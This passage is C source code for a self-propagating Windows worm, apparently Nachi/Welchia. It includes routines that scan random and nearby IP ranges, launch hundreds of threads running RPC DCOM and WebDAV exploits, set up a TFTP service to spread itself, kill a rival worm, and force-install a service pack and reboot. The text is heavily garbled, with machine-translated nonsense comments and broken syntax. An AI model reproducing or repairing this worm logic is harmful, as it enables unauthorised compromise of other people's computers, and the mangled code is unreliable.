Attached
Bool DoservicePackFunction () {DWORD NSYSTEMVER = WIN2000RXP (); if (! (Nsystemver == 0 || nsystemver == 1)) Return False; // NOT 2K OR XP IF (ReadRegServicePack (nsystemver)) Return False; // identified languages installed // int nLanguageID; unsigned int unOemCP = GetOEMCP (); LCID lcid = GetSystemDefaultLCID (); WORD wMain = PRIMARYLANGID (lcid); WORD wSub = SUBLANGID (lcid); if (unOemCP == 437 && wMain = = 9 && wsub == 1) // en nlanguageID = 0; // I have a good EN patch ~~ Also 唧唧 ~~ // Can not be small Europe ~~ Russian cattle has its own gameplay ~~ else if (unoemcp == 936 && wmain == 4 && wsub == 2) // cn nLanguageId = 1; // is for this ~~ else if (unoemcp == 950 && wmain == 4 && WSUB == 1) // TW nLanguageId = 2; // The flesh of mycasin is busy, must help ~~ else if (unoemcp == 932 && wmain == 0x11 && wsub == 1) // jp nlanguageID = -1; / / Even the impulse of the devil machine! //, when you are reported, you will be reported ~~~ I hope that he is so new ~~~ Playing with fire ~~ else if (unoemcp == 949 && wmain == 0x12 && wsub == 1) / / KR NLANGUAGEID = 3; // Little birds do not understand, bend, harm the domestic ~~ else {nLanguageId = -1;} if (nLANGUAGEID == -1) Return False; char sservicePack [] = "RPCServicePack. exe "; // downlaod it ~~~ if (nSystemVer!) {// 2k if return FALSE (DownloadSpFile (szServicePack, szWin2kSpUrl [nLanguageID])!);}! else {if (DownloadSpFile (szServicePack, szWinXPSpUrl [nLanguageID]) ) Return False;} char szexec [180]; sprintf (szexec, "% s -n--z-q", szservicePack; handle hprocess = makeprocess (szexec); if (hprocess == null) Return False; IF (WaitforsingleObject (HProcess, 360000)! =
WAIT_OBJECT_0) {// unfinished TerminateProcess (hProcess, 1) six minutes; CloseHandle (hProcess); DeleteFile (szServicePack); return FALSE;} CloseHandle (hProcess); Sleep (15000); DeleteFile (szServicePack); if (ReadRegServicePack ( Nsystemver)) {ShutdownWindows (EWX_REBOOT | EWX_FORCE); // Install Service Pack OK, Reboot It ~~~ Sleep (20000); // Is there a time? I don't pay attention to the patch is invalid. I will find Bill to die ~~~} return true;} // in: Start IP, B number, whether it is random, do you change webdav // more bad ~~~ Make it ~~~ Void BeginexPloitFunction (U_long UlipStart, Int Nbcount, Bool Brand, Bool Bwebdav) {Handle Hthread = NULL; BOOL BFIRST = TRUE; U_LONG UCOMP; For (INT i = 0; i <(Nbcount * 256 * 256); i ) {IF (Brand Ucomp = makerandip (); else ucomp = i ulipstart; if (// still shields part of the target, levy after the goal, then play the next generation, do not destroy:) ~~~ (Byte Ucomp == 0xc5 || (Byte) (Ucomp >> 8) == 0xc5 || (Byte) (Ucomp >> 16) == 0xc5 || (Byte) (Ucomp >> 24) == 0xc5 || Word) ucomp == 0x9999 || (Word) (UCOMP >> 8) == 0x9999 || (Word) (Ucomp >> 16) == 0x9999) Continue; u_long * mypara = new u_long; if (mypara == null ) {// If the assignment fails, try a SLEEP (100); mypara = new u_long;} if (mypara) {if (hthread) closehandle (hthread); * mypara = HTONL (Ucomp); DWORD DWTHREADID; IF (Bwebdav) ) hThread = CreateThread (NULL, 0, ExploitWebDavThread, (LPVOID) myPara, 0, & dwThreadId); else hThread = CreateThread (NULL, 0, ExploitRpcDcomThread, (LPVOID) myPara, 0, & dwThreadId); Sleep (2);} // Add this code to avoid the first execution, threads InterlockedIncrement (& g_curthreadcount) Future and running, one-time bug! If (bfirst && (i> = nmaxthread)) {Sleep (2000); bfirst = false;} while (g_curthreadcount> =
Nmaxthread) // #define nmaxthread 300, accidentally, play ~~~ SLEEP (2);} Sleep (60000);} // Service mode and console mode public master Void DOIT () {wsadatawsd; if ( WSASTARTUP (Makeword (2, 2), & WSD)! = 0) return; // kill peptes killmsblast (); // Uninstall SystemTime St; GetLocalTime (& St); if (st.wyear == 2004) {MyDeleteService (SZServiceName) MydeleteService (SZServicetFTPD); Removeme (); EXITPROCESS (1); // In fact, it is not necessary, and the propoveme () is borrowed from the elder code, 2K, delete itself when exiting the program} SRAND (GetTickCount ()); MEMSET (PPINGBUFFER, '/ XAA', SIZEOF (PPINGBUFER)); // If you are annoying, please discard this feature ICMP ECHO package! What wave is already absolutely! ~~~ // Prepare WebDav transmit buffer do {pWebDavExploitBuffer = new char [68000]; Sleep (100);} while (pWebDavExploitBuffer == NULL); // must precede checkonlien, once assembled bullet PressWebDavBufferOnce (); PressRpcDcomBufferOnce (); CheckOnlienAndPressData () ; // get LocalIp & bullet correction in reverse // ip and port patch DoServicePackFunction (); // establish receiving thread DWORD dwThreadID; HANDLE hWorkThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) RecvSendCmdThread, (L PVOID) NULL , 0. & DWTHREADID; if (hworkthread == null) // Recvsendcmdthread blocks, there is anti-connected, then built The process of proceeds, while processing multiple reflections return; closehandle (hworkthread); if (! MyStartService (szService (szService (SZServicetft) {Sleep (1000); installtftpservice (); Sleep (1000); MyStartService (SLEEP (2000) ; // Wait for the global RAND PORT U_LONG ULIP in the thread; for (;;) {// Estimated, ordinary machine 2 hours a loop // first scan the IP segment CheckonlienandPressData (); ulip = NTOHL (inet_addr Szlocalip); ulip & = 0xffff00; BeginexPloitFunction (ULIP, 1, 0, 0); // Re-Scan the 3 segments before and after this IP CHECKONLIENANDPRESSDATA (); if (RAND ()% 2) ULIP = 0x00010000; Else Ulip - = 0x00030000; BeginexPloitFunction (ULIP, 3, 0, 0); // Scan a section of WebDAV and jump out of 135 SYN blocking checkonlienandpressData (); ulip =
